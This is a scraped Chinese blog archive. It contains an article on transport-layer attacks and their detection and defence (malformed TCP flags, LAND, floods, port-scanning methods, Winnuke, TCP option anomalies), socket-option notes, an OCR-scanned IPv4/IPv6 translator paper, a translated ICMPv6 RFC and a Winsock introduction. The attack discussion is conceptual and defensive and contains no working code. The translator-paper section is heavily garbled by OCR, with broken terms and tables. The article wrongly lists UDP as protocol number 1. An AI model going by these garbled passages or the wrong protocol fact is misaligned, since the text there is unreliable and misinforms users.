




版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
功检测来自传输层的攻击及防御0.传输层传输层在IP层的上层,通常是IP头中protocol字段中指定的协议,通常用得最多的是TCP(6)和UDP(1)。为方便理解,先列出TCP和UDP头结构,下面是RFC793定义的TCP头结构:SourcePort:源端口,16位DestinationPort:目的端口,16位SequenceNumber:序列号,32位,TCP用它来保证有序传输数据AcknowledgmentNumber:确认号,32位,指明希望对方发送数据的序列号,以前的数据已经正确接收DataOffset:数据偏移量,4位,指名数据相对于TCP头的偏移量,可理解为TCP头长度,和IP头长度一样,也是以4个字节为一个单位,最小为5,最大15,分别表示头长为20,60字节Reserved:保留位URG:紧急标志,1位,有该标志时UrgentPointer通常不为0ACK:确认标志,1位,有该标志时AcknowledgmentNumber通常不为0PSH:PUSH“推”标志,1位,有该标志时data长度通常不为0RST:重置标志,1位,用于异常断开TCP连接SYN:同步标志,1位,用于TCP连接FIN:结束标志,1位,表示不再发送数据Window:窗口大小,16位,表示目前接收缓冲区大小,用于流量控制Checksum:校验和,16位,校验范围为伪IP头+TCP头+数据UrgentPointer:紧急指针,16位,用于指示紧急数据位置Options:IP选项,长度从0到40字节Padding:填充字节,TCP头都要是4的倍数,不够的以0填充下面是RFC768定义的UDP头结构:0781516232431++11+|Source|Destination||Port|Port|+-111+||||Length|Checksum|++11+||dataoctets...+...SourcePort:源端口,16位DestinationPort:目的端口,16位Length:长度,16位,包括UDP头和数据总长Checksum:校验和,16位,校验范围为伪IP头+UDP头+数据,也可以为0,表示不进行校验注:伪IP头是计算TCP、UDP校验和需要用到的IP头数据,包括源地址(32位)、目的地址(32位)、协议(8位)和TCP、UDP长度(16位)这4个字段,其他字段置0。1.异常包TCP/UDP:端口值为0的包;校验和错误的包TCP标志位异常包:SYN只能单独存在或只能和ACK共存,和其他标志共存就是异常包;没有标志或标志全置的包;有ACK标志但AcknowledgmentNumber为0的包;有SYN标志但SequenceNumber为0的包;有URG标志但UrgentPointer为0,或没有URG标志但UrgentPointer不为0的包;RST和除ACK标志之外的其他标志共存的包;这种攻击标志很明显,防御也很容易,可以做到100%检测并阻断;2.LAND攻击TCP层的攻击了,不过在网络层就可以防护;攻击方发送源地址和目的地址相同的TCPSYN包,对老的某些操作系统就会发SYNACK包给自身,建立空连接,最终消耗尽自身资源,现在的操作系统已经不会那么傻了,这种攻击也可以做到100%检测并阻断;3.Flood攻击synflood:是TCP协议的最大弱点了,对synflood攻击的分析在另一篇文章中详细说明了,理论上是无法真正防御的,只能进行一定程度的缓解;UDPflood:就是发送大量UDP包阻塞目的机通信,由于UDP是非连接协议,因此只能通过统计的方法来判断,很难通过状态检测来发现,只能通过流量限制和统计的方法缓解;对于有些协议,服务器部分的计算量会远大于客户端的计算量,如DNS,野蛮模式的IKE等,这些情况下flood攻击更容易形成DOS。4.端口扫描端口扫描往往是网络入侵的前奏,通过端口扫描,可以了解目标机器上打开哪些服务,有的服务是本来就是公开的,但可能有些端口是管理不善误打开的或专门打开作为特殊控制使用但不想公开的,通过端口扫描可以找到这些端口,而且根据目标机返回包的信息,甚至可以进一步确定目标机的操作系统类型,从而展开下一步的入侵。4.1TCP扫描按照RFC,当试图连接一个没有打开的TCP端口时,服务器会返回RST包;连接打开的TCP端口时,服务器会返回SYNACK包合法连接扫描:connect扫描:如果是打开的端口,攻击机调用connect函数完成三次握手后再主动断开;关闭的端口会连接识别SYN扫描:攻击机只发送SYN包,如果打开的端口服务器会返回SYNACK,攻击机可能会再发送RST断开;关闭的端口返回RST;异常包扫描:FIN扫描:攻击机发送FIN标志包,Windows系统不论端口是否打开都回复RST;但UNIX系统端口关闭时会回复RST,打开时会忽略该包;可以用来区别Windows和UNIX系统;ACK扫描:攻击机发送ACK标志包,目标系统虽然都会返回RST包,但两种RST包有差异;对于合法连接扫描,如果SYN包确实正确的话,是可以通过防火墙的,防火墙只能根据一定的统计信息来判断,在服务器上可以通过netstat查看连接状态来判断是否有来自同一地址的TIME_WAIT或SYN_RECV状态来判断。对于异常包扫描,如果没有安装防火墙,确实会得到相当好的扫描结果,在服务器上也看不到相应的连接状态;但如果安装了防火墙的话,由于这些包都不是合法连接的包,通过状态检测的方法很容易识别出来(注意:对于标准的Linux内核所带防火墙netfilter的TCP状态检测的实现,ACK和FIN扫描是可以通过的,需要修改才能防御)。4.2UDP扫描当试图连接一个没有打开的UDP端口时,大部分类型的服务器可能会返回一个ICMP的端口不可达包,但也可能无任何回应,由系统具体实现决定;对于打开的端口,服务器可能会有包返回,如DNS,但也可能没有任何响应。UDP扫描是可以越过防火墙的状态检测的,由于UDP是非连接的,防火墙会把UDP扫描包作为连接的第一个包而允许通过,所以防火墙只能通过统计的方式来判断是否有UDP扫描。5.TCP紧急指针攻击Winnuke:对老的Windows系统,对TCP139端口发送带URG标志的包,会造成系统的崩溃,特征明显,防火墙可以100%防御,但也可能误伤;6.TCP选项攻击相对IP选项,TCP选项利用率要高很多,很多正常包中都要用到,TCP选项攻击包括:1)非法类型选项:正常的选项类型值为0、1、2、3、8、11、23、13,其他类型的出现是可疑的(类型4,5,6,7虽然定义了但被类型8取代,正常情况下也是不用的);2)时间戳:用于搜集目的机的信息;3)选项长度不匹配:选项中的长度和TCP头中说明的TCP头长度计算出的选项长度不一致;4)选项长度为0:非0、1类型的选项长度为0,是非法的;5)选项缺失,一般SYN包中都要有MSS选项,没有的话反而不正常;6.总结传输层的攻击也属于特征比较明显的类型,除synflood外防护也比较容易,由于模式固定,也适合硬件实现。synflood是TCP永远的痛,是TCP设计之初没有仔细考虑到的,在一些新的协议如SCTP(132),已经考虑到此因素,但由于TCP应用太广泛,要取代TCP基本不太可能。第1部分/共1部分[1]*相关文章proc文件系统VPN技术详解(八)BasicIntegerOverflowsLinux7.xTCPWrapper和xinetd浅谈收费网站遇到的威胁since2003-12版权所有(C)2003-2006一孔之见Allrightsreserved沪ICP备05053386号-作者:kyohiroyuki2006年05月31日,星期三15:57回复(1)|引用(0)加入博采»Setsockopt选项有时候我们要控制套接字的行为(如修改缓冲区的大小),这个时候我们就要控制套接字的选项了.以下资料均从网上收集得到getsockopt和setsockopt获得套接口选项:[code:1:59df4ce128]intgetsockopt(intsockfd,intlevel,intoptname,void*optval,socklen_t*opteln)设置套接口选项:intsetsockopt(intsockfd,intlevel,intoptname,constvoid*optval,socklen_t*opteln)sockfd(套接字):指向一个打开的套接口描述字level:(级别):指定选项代码的类型。SOL_SOCKET:基本套接口IPPROTO_IP:IPv4套接口IPPROTO_IPV6:IPv6套接口IPPROTO_TCP:TCP套接口optname(选项名):选项名称optval(选项值):是一个指向变量的指针类型:整形,套接口结构,其他结构类型:linger{},timeval{}optlen(选项长度):optval的大小返回值:标志打开或关闭某个特征的二进制选项-作者:kyohiroyuki2006年04月3日,星期一12:39回复(0)|引用(0)加入博采»伪装IP地址的洪水Ping攻击-作者:kyohiroyuki2006年03月31日,星期五20:17回复(0)|引用(0)加入博»ipv4/ipv6转换23.3.2应用层网关(ApplicationLevelGaleway,ALG)通过上面的分析叮以看出NAT-PT本身不转换数据包的负载部分,因此NA'I-PI'对在负载中拚带了IP地址的应用无能为力.应用层网关(ALG)[NAT-TERMI就是为了解决这种情况而采用的种代理机制,该代理允许这种应用在v6节点和v4节点通讯,所以不同应用的ALG和NAT-PT联合使用可以提供对多种应用层的支持.该文设计的转换器实现了F1P-ALG和SIP-ALG,下肉分别介绍FIT-AI,(;的实现:文件传输协议FTP是目前因特网上最广泛的应用之一,形成了网络主要流量.按照文献[17』的要求,FI7)过程分为两步进行:控制会话和数据交换会话.因为在控制会话过程中,FTP负载中包含了为数据交换会话准备的.P地址和TCP端口号,所以FrP-ALG必须提供透明的转换.运行在v4节点上的FIT应用程序,在客户端向服务器端发送的PORT命令中,以及服务器端向客户端返回的成功应答PASV命令中均以ASCII方式承载rIP地址和端口号.然而,文献1151将IP,,4下的FTP两个命令分别V,展成EPRT和EPSV,并计划逐步停止使用PORT和PASV命令.另外在IPv4中用来说明进人被动模式的227命令,在「Pv6中被229取代SIP-ALG的实现SIP(SessionInitiationProtocol)是IETF定义的F一代互联网传翰的信令协议!18111910这种协议在IPv4/IPv6转换时存在和FP1,类似的问题,即在信令消息中以ASCII码方式携带了IP地址.转换器实现r对SIP各消息包头以及SDP中IP地址相关性分析,完成了在住册服务,重定向服务,信令路由等情况下IPv4SIP信令和IPv6SIP信令的转换3.3.3软件结构的特点该转换器完全基于Linux平台,为了提高性能,采用了以下技术:采用多进程方式,提高了转换器的并发程度,使协议转换和数据包的转发做到厂几乎同时进行.对IPv4中地址解析协议ARP和IPv6中邻居发现协议1482003.25计笠机丁段与俞用ND采用缓存方式,减少不必要的重复解析,加快了地址解析和查找的速度在杏找映射队列时,采用哈希散列表(hashtable)技术提高杳找的速度和精度,4实验和性能测试在这部分,通过一个实验网(见图3)对转换器的性能进行了测试.这个实验网分别由运行IPv4协议和「Pv6协议主机构成.转换器安装在一台设置了两块网K的计算机」一并且作为IPv6局域网访问”外界"IPv4网络的网关.其中IM主机全部采用Linux7.2作为操作系统,实验时将IPA协议栈关闭,使其成为纯IPv6主机.网络为loom快速以太网IM网络内部设置的应用服务包括:WWW服务(采用Apache2.0眼务器)FTP服务(Pmftp1.0)电子邮件服务器(sendmail8.0域名服务器DNS(BIND9.1.3)远程登录(Td-td0.17,包含在xinetd中)Internet.IPv6DNS圈3IPv6"侣IPv6PIPSERVER实脸网络的蕊本拓扑结构对转换器的测试包括功能测试和性能测试两部分功能测试主要是考察转换器是否正确完成了上述的各种应该达到的转换功能.性能测试是在功能测试的基础卜对某此重q应用〔如FTP)测试其转换的效率对WWW服务和DNS-ALG的测试.使用Manila浏览器(Linux「支持IPv6的浏览器)采用域名方式成功访问到了外部IPv4网站,同时也成功收发到了邮件,证明转换器中I)NS-ALG工作正常,对WWW服务和邮件服务进行厂成功的转换采用Ping命令针对转换器多进程方式和单进程方式进行性能测试,结果如表1所示.衰1采用多进租和单进程的转接韶性能的比较最大RTT值(ms)I平马RTT值(厂0.82010.5660.791】一0746对FTP转换的测试.由于对FTI〕的转换不仅涉及到数据包头,还包括负载地址分析,而且大量文件传输本身对网络(下转205页)万方数据要部分,今后的研究是进一步优化图像无线传输的绕射性能会造成定压力,所以文章对转换器在应用k'I'l'情况下的性能进行r单独测试测试时将IPv4/JPv6转换器与纯IPv4情况下自身转发能力进行7比较.见表2.衰ZFTP吞吐.的比较刁||川月月Pv4/IPv6转换器卜义件大小(M)F10.7221.4542.9164.388583延迟(ue)12.6125.1450.7975.66101.40吞吐.(Khytes/-)850.37853仅吕料.84850.91w53INVIPA转发1"Kb"./.rEj!-!"716.5427.36784.2154.68_784.8_081.62788.79108.94787.94虑,采用双找技术对大规模IM网络来说只可能是个迫不得已的选择.与已有庞大的IPv4网络的互通必然要借助于转换器.当然文章设计和实现的转换器仍有需要改进的地方;例如可以考虑采用隧道封装技术解决转换器对网络端到端连接性的影响,采用硬件加速方式进一步提高转换器对数据包处理的性能,采用固定映射方式解决组播在跨越v4/v6网络时遇到的v4和v6组播地址不统一问题等等.(收稿日期:2003年l月)L述测试表明:笔者设计和开发的转换器不仅在功能上满足各项指标,在性能卜也有所提高.5需要进一步讨论的问题由于网络协议转换的复杂性在设计和实现转换器的时候还存在需要进一步讨论的问题.协议转换的限制.尽管在两种IP协议之间存在基本的映射,但还是有一些字段,选项和扩展无法转换,结果会导致信息的缺失,从而可能影响到应用程序.另一方面,IPv6规范中定义的一t扩展如认证,封装和扩充路由等是IPv4特征的超集.所以是完全透明的,没有信息缺失的转换包头是不可能的.不过目前大多教应用并没有使用IP头的扩展字段,所以这些信息的缺失对数据的传愉并不会造成实质性的影响.拓扑限制使用转换器在拓扑上有一定限制:为了保证转换的连续性,所有同一个会话流的请求和响应都必须经过同一个转换器确保这一点的一个方法是将转换器安装在边界路由器上这样由这个路由器控制的网络上的所有数据包都必须经过这个路由器进出网络,从而保证转换器正常工作.影响了端到端的连接性.由于转换器要打断网络的正常连接在网络连接的中间进行一系列的处理,所以转换器的一个最重要的限制是影响了端到端的网络和传愉层的连接性〔例如IPSec的使用).有些应用要考虑某种程度的地址稳定性.转换器对动态地址的重用不适于这些应用.对有这种需要的主机(多数是服务器),解决方法是将映射地址配里成静态映射方式.这将确保该主机的映射地址的相对稼定,从而提高上层应用服务的健壮性.6结论该文设计和实现的v4/v6转换器,对于以后建设大规模IPv6网络具有重要的意义.因为出于地址匡乏和性能上的考参考文献-作者:kyohiroyuki2006年03月30日,星期四17:08回复(0)|引用(0)加入博»IPv4/IPv6过渡机制的研究与实现-作者:kyohiroyuki2006年03月30日,星期四17:07回复(0)|引用(0)加入博»RFC-2643中文组织:中国互动出版网(/)RFC文档中文翻译计划(/compters/emook/aboutemook.htm)E-mail:ouyang@译者:netjnn(netjnnnetjnn@263.net)发布时间:2001-6-25版权:本中文翻译文档版权归中国互动出版网所有。可以用于非商业用途自由转载,但必须保留本文档的翻译及版权信息。NetworkWorkingGroupA.ContaRequestforComments:2463LucentObsoletes:1885S.DeeringCategory:StandardsTrackCiscoSystemsDecember1998针对因特网协议第六版(Ipv6)的因特网控制报文协议(ICMPv6)规范(InternetControlMessageProtocol(ICMPv6)fortheInternetProtocolVersion6(IPv6)Specification)关于本文的说明这个文档说明了一个为Internet通讯的Internet标准跟踪协议,而且它的改进希望得到讨论和建议。请参考"Internet正式协议标准"(标准1)的当前版本来得到本协议的标准化陈述.本文的分发不受限制.版权声明版权所有Internet协会(1998).保留所有权利。概述这篇文档说明了一系列基于第六版本的因特网协议(IPv6)的因特网控制报文协(ICMPv6)使用的报文。目录TOC\o"1-5"\h\z简介2ICMPv622.1报文的总体格式22.2报文源地址的测定32.3报文校验和的计算32.4报文处理规则3ICMPv6差错报文43.1目的不可达报文43.2包过大报文53.3超时报文63.4参数出错报文6ICMPv6信息报文74.1回显请求报文74.2回显应答报文7安全考虑8ICMP报文的认证和加密8ICMP攻击8.参考文献.致谢.作者地址10附录A——自RFC1885以来的改变10完整的版权声明11简介第六版本的因特网协议是一个IP协议的新版本.IPv6使用了为IPv4定义的ICMP协议,但是有一些改变•最后的协议被称为ICMPv6.它在IPv6的下一首部字段中对应的值为58。这篇文档描述了在ICMPv6中使用的一系列控制报文的格式。它并没有描述使用这些报文以达到某种功能比如发现路径的最大传输单元(MTU)的具体过程。这些具体的过程是在其他的文档中描述的(比如:[PMTU].)。其他的文档有可能介绍了一些另外的ICMPv6的报文类型,比如邻站探测报文[IPV6-DISC],他们都服从在这篇文档第二节中所阐述的ICMPv6报文的整体规则。在IPv6规范和IPv6路由和寻址规范中所定义的术语也被应用到这篇文档中。这篇文档中使用的关键字:“必须”,“必须不”,“要求”,“将要”,“将不会”,“应该”,“不应该”,“推荐”,“可能”,“任选”。它们在RFC-2119中有详细的解释。ICMPv6IPv6节点使用ICMPv6来报告在传送包的过程中遇到的错误,而且用它来完成其它网络层的功能,比如诊断(ICMPv6ping)。ICMPv6是IPv6内在的一部分,而且每一个IPv6节点都必须充分的应用它。2.1报文的总体格式ICMPv6报文总体上被分为两种类型:差错报文和信息报文。差错报文的识别是通过在消息类型字段值的高比特位中设置0。因此,差错报文的报文类型从0到127;信息报文的类型从128到255。这篇文档为以下的ICMPv6报文定义了报文格式:ICMPv6差错报文目的不可达(3.1节)包过大(3.2节)超时(3.3节)参数出错(3.4节)ICMPv6消息报文128回显请求(4.1节)129回显应答(4.2节)每一个ICMPv6报文在传送时会被加上一个IPv6基本首部和若干(或没有)IPv6扩展首部。ICMPv6首部的识别是通过在它之前离它最近的首部中的下一首部字段。ICMPv6在该字段中对应的值为58。(注意:这和在IPv4中ICMP的识别有很大的不同)ICMPv6报文有如下的总体格式:071531类型代码校验和报文体类型字段描述了报文的类型。它的值决定了后面数据的格式。代码字段是依赖于报文类型的。在报文类型的基础上,它被用来在基本的类型基础上创建更细的报文等级。校验和字段是用来在ICMPv6报文中检验数据的完整性和部分IPv6首部的。2.2报文源地址的测定一个送出ICMPv6报文的节点在计算校验和以前要在IPv6首部中决定源地址和目标IPv6地址。如果节点有多于一个的单目地址,它必须按以下的原则选定源地址:(a)如果报文是对发往该节点的某一单目地址进行响应的,那应答报文的源地址必须是这个单目地址。如果报文是对发往该节点为组员的多播组或任意播组的报文进行响应的,那麽应答报文的源地址必须是一个属于接收到多播或任意播包接口的单目地址。如果报文是对发往一个并不属于该节点地址的报文进行响应的,那麽源地址必须是属于该节点且最有利于诊断错误的那个单目地址。比如,如果报文是对一个不能正常转发包的行为进行响应的,源地址就是那个属于转发包失败的接口的单目地址。另外,在转发报文到目的地时,必须使用节点的路由表来决定由哪个接口转发报文。属于那个接口的单目地址作为报文的源地址。2.3报文校验和的计算校验和是整个ICMPv6报文的一个16位字的补数和。校验和的计算起始于ICMPv6的类型字段并被加上一个IPv6的伪首部(在IPv68.1节中有介绍)。在伪首部中下一首部字段的值为58。(注意:在ICMPv6的校验和计算中加上伪首部是从IPv4变化而来的;想了解改变的原理请查看IPv6。)为了计算校验和,校验和字段被设置为0。2.4报文处理规则在处理ICMPv6报文时,应用程序必须遵守以下的规则:(来自RFC-1122)如果收到了一个不知道类型的ICMPv6差错报文,它必须被送往上层协议。如果收到了一个不知道类型的ICMPv6信息报文,它必须被悄悄的丢弃。每一个ICMPv6差错报文(类型<128)在不超过最小IPv6最大传输单元的情况下,包括尽可能大的引起出错的包。在以上的情况中,网络层协议把ICMPv6差错报文传送到上层协议的进程。原包中的上层协议字段(在ICMPv6差错报文的报文体中)被取出,用来选择合适的上一层进程来处理错误。如果原包含有一个很大的扩展首部,那麽有可能上层协议类型并没有包含在ICMPv6差错报文中。原因是为了满足最小IPv6最大传输单元的限制,原包被切断了。在这种情况下,差错报文在任何IPv6层处理后被悄悄的丢弃。如果接收到的情况为下列之一,则ICMPv6差错报文必须不被发出。(e.1)—个ICMPv6差错报文,或者(e.2)—个预定发往IPv6多目地址的包(这种情况有两个例外:(1)包过大报文——3.2节一一为了允许路径MTU发现为IPv6多播工作(2)参数出错报文,代码值为2——3.4节一一通过将选项类型的最高两比特位设置为10报告一个不认识的IPv6选项),或者(e.3)—个作为链路层多播的包,(e.2中指出的两条例外情况也适用于这里),或者(e.4)一个作为链路层广播的包,(e.2中指出的两条例外情况也适用于这里),或者(e.5)一个源地址并不是指明的一个唯一的节点的包,比如:IPv6未指明地址,IPv6多目地址,或一个ICMPv6报文发送者知道的IPv6任意播地址最后,为了限制由于发送ICMPv6差错报文引起的带宽和转发的代价,一个IPv6节点必须限制它发送的ICMPv6差错报文的比率。当源站发送一串错误的包,并且没有注意到由此产生的ICMPv6差错报文的时候,这种情况就可能发生。有一系列的实现限制比率的方法,比如:(f.1)基于定时器的一一比如:对给定的源站或者对任意的源站,限制传送ICMPv6差错报文的比率,每T毫秒最多发送一次。(f.2)基于带宽的——比如:限制从特定接口发出的的差错报文的比率,相连接的带宽上最多利用自己的F来发送。限制的参数(比如:以上例子中的T或F)必须是针对节点配置的,且每个参数有缺省值(比如:T=1秒,不是0秒;F=2%,不是0%)以下几节描述了以上ICMPv6报文的格式。ICMPv6差错报文3.1目的不可达报文071531类型代码校验和未使用在不超过最小IPv6MTU的情况下,包括了尽可能大的引起出错的包。IPv6字段:目的地址从引起出错的包的源地址字段拷贝来的ICMPv6字段:类型1代码0-没有路由到目的同目的的通讯由于管理被禁止(没有指派)地址不可达端口不可达未使用这个字段对所有的代码值都是不可用的。它必须被发送者初始化为0,被接受者忽略描述一个目的不可达报文应该由路由器或源节点的IPv6层产生,作为对由于除阻塞以外原因使得包不能传送到目的地址的回应。(如果由于阻塞导致包丢失的话,必须不会产生一个ICMPv6报文)如果传送失败的原因是由于才转发节点上的路由表中缺少对应的表项,代码字段将被置为0。(注意:这种错误只有在节点路由表中缺少缺省路由表项时才可能发生。)如果传送失败的原因是由于管理的禁止,比如:防火墙过滤,代码字段被置为1。如果传送失败是由于任何其他的原因,比如:不能把IPv6地址映射成相应的链路层地址,或某种链路层特定的错误,代码字段将被置为3。如果对收到的包传输层协议(如UDP)没有监听者的且传输层协议没有别的措施来通知发送者的话,目的节点应该发送一个目的不可达报文,代码字段置4。上层通告当节点收到ICMPv6目的不可达报文时,必须通知上一层进程。3.2包过大报文071531类型代码校验和最大传输单元在不超过最小IPv6MTU的情况下,包括了尽可能大的引起出错的包。IPv6字段目的地址从引起出错的包的源地址字段拷贝来的
类型代码它必须被发送者初始化为0,被接受者忽略。类型代码它必须被发送者初始化为0,被接受者忽略。最大传输单元下一跳链路的最大传输单元。描述一个包过大报文必须由路由器发出,作为对因为包太大超过了出口链路的最大传输单元而不能转发的回应。这个报文中的信息作为进程的一部分,在最大路径传输单元进程中使用发送包过大报文是甚麽时候发送ICMPv6差错报文规则的一个例外。因为不象其它的报文,它的发送是作为接收到有着IPv6多播地址或链路层多播或链路层广播地址的包的回应。上层通告一个到来的包过大报文必须被送到上层进程。3.3超时报文071531类型代码校验和未使用在不超过最小IPv6MTU的情况下,包括了尽可能大的引起出错的包。IPv6字段:目的地址从引起出错的包的源地址字段拷贝来的ICMPv6字段:类型3代码0-传送过程中超过了跳数限制1-分片重组超时未使用这个字段对所有的代码值都是不可用的。它必须被发送者初始化为0,被接受者忽略描述如果一个路由器收到一个跳数限制为0的包,或是它将跳数限制减去1后变为0,那这个路由器必须丢弃这个包并且发一个代码为0的ICMPv6超时报文给源站点。这种情况通常意味着一个路由环路或是初始的跳数限制值太小。上层通告一个到来的超时报文必须被送到上层进程。71531类型代码校验和指针在不超过最小IPv6MTU的情况下,包括了尽可能大的引起出错的包。从引起出错的包的源地址字段拷贝来的40-错误的首部字段3.4参数出错报文IPv6字段:目的地址ICMPv6字段:类型代码1-不可识别的下一首部类型2-不可识别的IPv6选项指针指出了在引起出错的包中错误出现地方的八位偏移量。如果源包引起错误的字段即使在ICMPv6差错报文达到最大长度时也描述如果一个IPv6节点因为发现了IPv6首部或其扩展首部中的某个字段有问题而导致对包的处理失败,那它必须丢弃这个包并发送一个ICMPv6参数错误报文给源站,指出出错的地方和出错的类型。指针字段指出了检测出错误的地方相对于源包首部的八位组。比如,一个类型为代码为1的,指针字段值为40的ICMPv6报文,指出了源包中跟在IPv6基本首部后的IPv6扩展首部的下一首部字段有一个不被识别的值。上层通告一个节点收到ICMPv6报文时必须通报上层进程。4.ICMPv6信息报文4.1回显请求报文071531类型代码校验和标识序列号数据…IPv6字段:目的地址一个合法的IPv6地址ICMPv6字段:类型128代码0标识用来将请求与应答进行匹配。也可能是0。序列号用来将请求与应答进行匹配。也可能是0。数据0或任意数据的八位组。描述每一个节点必须能够完成ICMPv6回显应答者的功能,即在收到ICMPv6回显请求发出相应的ICMPv6回显应答。为了诊断,一个节点还应该能够为发送请求接收应答提供应用层接口。上层通告回显请求报文可能被送到接收ICMP报文的进程。4.2回显应答报文071531类型代码校验和标识序列号数据…IPv6字段:目的地址从引起出错的包的源地址字段拷贝来的ICMPv6字段:类型129代码0标识相应的回显请求报文的标识符。序列号相应的回显请求报文的序列号。数据相应的回显请求报文的数据。描述每一个节点必须能够完成ICMPv6回显应答者的功能,即在收到ICMPv6回显请求时发出相应的ICMPv6回显应答。为了诊断,一个节点还应该能够为发送请求接收应答提供应用层接口。对一个单目地址的回显请求报文应答时,源地址必须和回显请求报文的目的地址相同。如果回显请求报文是发往多目地址的,应该发送回显应答报文。回显应答报文的源地址必须是一个属于接收到多播回显请求报文接口的单目地址。ICMPv6回显请求报文中的数据必须在回显应答报文中必须被不加改变的完整的送回。上层通告回显应答报文必须被送到引起发送回显请求报文的进程。它也有可能被送到没有引起发送回显请求报文的进程。安全考虑5.1ICMP报文的认证和加密通过IP[IPv6-AUTH]认证首部,交换的ICMP包能够被认证.如果目的地址的安全联盟(SA)要求使用IP认证首部的话,节点在发送ICMP报文时就应该包括IP认证首部。安全联盟可以通过手工建立,也可以通过一些密钥管理协议自动建立。收到有认证首部的ICMP包时,必须对它的正确性加以验证。如果包的认证首部不正确的话,这个包必须被忽略,丢弃。这里也应该有一种可能,系统管理员将节点配置为忽略任何使用认证首部或封装安全载荷(ESP)的ICMP报文,不对他们进行验证。这种改变在缺省情况下,应该允许接收没认证的报文。机密性的问题在IP安全结构和IP封装安全载荷文档[IPv6-SA,IPv6-ESP]中有讲解。5.2ICMP攻击ICMP报文可能遭受到各种各样的攻击。在IP安全结构文档[IPv6-SA]中可以找到有关与此的完整的讨论。一个简短的有关此类攻击即其防范的讨论如下:有的攻击故意使报文接收者认为报文是从另外的源站发出的,而不是报文真正的产生者。防范这类攻击可对ICMP报文采取IPv6认证机制[IPv6-AUTH].有的攻击故意使报文或者其应答到达一个不是发起者想到的目的地。对于报文在源地址和目的地址之间通过IP包传送时被恶意的拦截者拦截,并改变了报文的数据的情况,如果通过对ICMP报文进行认证[IPv6-AUTH]和加密[IPv6-ESP]而将ICMP的校验和字段加以保护,ICMP的校验和就能对这种情况提供防范机制。ICMP报文的信息字段或有效载荷可能被改变。对ICMP报文进行认证[IPv6-AUTH]和加密[IPv6-ESP]是对这种攻击的一种防范机制。通过给先前的恶意的IP包回送,ICMP报文可能被用来试图完成否认服务攻击。正确的遵循这个规范的2.4节,f段提到的ICMP错误比率限制机制能够提供防范。.参考文献[IPv6]Deering,S.andR.Hinden,"InternetProtocol,Version(IPv6)Specification",RFC2460,December1998.[IPv6-ADDR]Hinden,R.andS.Deering,"IPVersion6AddressingArchitecture",RFC2373,July1998.[IPv6-DISC]Narten,T.,Nordmark,E.andW.Simpson,"NeighborDiscoveryforIPVersion6(IPv6)",RFC2461,December1998.[RFC-792]Postel,J.,"InternetControlMessageProtocol",STD5,RFC792,September1981.[RFC-1122]Braden,R.,"RequirementsforInternetHosts-CommunicationLayers",STD5,RFC1122,August1989.[PMTU]McCann,J.,Deering,S.andJ.Mogul,"PathMTUDiscoveryforIPversion6",RFC1981,August1996.[RFC-2119]Bradner,S.,"KeywordsforuseinRFCstoIndicateRequirementLevels",BCP14,RFC2119,March1997.[IPv6-SA]Kent,S.andR.Atkinson,"SecurityArchitecturefortheInternetProtocol",RFC2401,November1998.[IPv6-Auth]Kent,S.andR.Atkinson,"IPAuthenticationHeader",RFC2402,November1998.[IPv6-ESP]Kent,S.andR.Atkinson,"IPEncapsulatingSecurityProtocol(ESP)",RFC2406,November1998..致谢这篇文档是从以前SIPP和Ipng工作组的ICMP草稿变化来的。Ipng工作组特别是RobertElz,JimBound,Bill,Simpson,ThomasNarten,CharlieLynn,BillFink,ScottBradner,DimitriHaskin,andBobHinden(按逻辑顺序)供了深入的评论和回馈。.作者地址AlexContaLucentTechnologiesInc.300BakerAve,Suite100USAPhone:+1978287-2842EMail:aconta@StephenDeeringCiscoSystems,Inc.170WestTasmanDriveSanJose,CA95134-1706USAPhone:+1408527-8213EMail:deering@附录A——自RFC1885以来的改变版本2-02-从2.4节f.2段开始没有提到信息回显。-在“上层通告”段中,将“上层协议”和“用户接口”改为“进程”。-改变了5.2节第二条和第三条,都参考AH认证。-将5.2节有关否认服务攻击的第5条删除。-在“作者地址”节中更新了电话号码和Email地址。版本2-01-将所有作为最大ICMP报文长度的“576八位组”改为在基本IPv6规范中定义的“最小IPv6MTU-删除了信息报文中的比率控制。-加入了接收者忽略包过大报文中代码字段的需求。-删除了目的不可达报文中的代码2“不是邻居”。-确定了格式,更新了参考。版本2-00-在信息报文中应用了比率控制。-在组管理ICMP报文中删除了2.4节。-删除了对IGMP概述和第一节的参考。-更新了其它IPv6文档的参考。-删除了对RFC_1112概述,第一节,第一节和3.2节中RFC-1119的参考。-加入了安全一节。-加入了附录A——改变。完整的版权声明Copyright(C)TheInternetSociety(1998).AllRightsReserved.Thisdocumentandtranslationsofitmaybecopiedandfurnishedtoothers,andderivativeworksthatcommentonorotherwiseexplainitorassistinitsimplementationmaybeprepared,copied,publishedanddistributed,inwholeorinpart,withoutrestrictionofanykind,providedthattheabovecopyrightnoticeandthisparagraphareincludedonallsuchcopiesandderivativeworks.However,thisdocumentitselfmaynotbemodifiedinanyway,suchasbyremovingthecopyrightnoticeorreferencestotheInternetSocietyorotherInternetorganizations,exceptasneededforthepurposeofdevelopingInternetstandardsinwhichcasetheproceduresforcopyrightsdefinedintheInternetStandardsprocessmustbefollowed,orasrequiredtotranslateitintolanguagesotherthanEnglish.
ThelimitedpermissionsgrantedaboveareperpetualandwillnotberevokedbytheInternetSocietyoritssuccessorsorassigns.Thisdocumentandtheinformationcontainedhereinisprovidedonan"ASIS"basisandTHEINTERNETSOCIETYANDTHEINTERNETENGINEERINGTASKFORCEDISCLAIMSALLWARRANTIES,EXPRESSORIMPLIED,INCLUDINGBUTNOTLIMITEDTOANYWARRANTYTHATTHEUSEOFTHEINFORMATIONHEREINWILLNOTINFRINGEANYRIGHTSORANYIMPLIEDWARRANTIESOFMERCHANTABILITYORFITNESSFORAPARTICULARPURPOSE.针对因特网协议第六版(Ipv6)的因特网控制报文协议(ICMPv6)规RFC2463—ternetControlMessageProtocol(ICMPv6)fortheInternet范ProtocolVersion6(IPv6)Specification11RFC文档中文翻译计划-作者:kyohiroyuki2006年03月30日,星期四15:39回复(1)|引用(0)加入博采^WindowsSocket简介WindowsSocket简介针对因特网协议第六版(Ipv6)的因特网控制报文协议(ICMPv6)规WindowsSocket简介这篇文章出自bugfree/CSDN平台:VC6WindowsXP简介:—Windows的Socket函数有许多,我没有做详细介绍,这里的函数都是简要说明其用途,详细用法请参考MSDN.这里的主要目的是为了后面的三个应用服务.函数说明:WSAStartup函数初始化Winsock[声明]intWSAStarup(WORDwVersionRequested,LPWSADATAlpWSAData);[参数]wVersionRequested-要求使用Winsock的最低版本号lpWSAData-Winsock的详细资料[返回值]当函数成功调用时返回0失败时返回非0的值---socket函数用于生成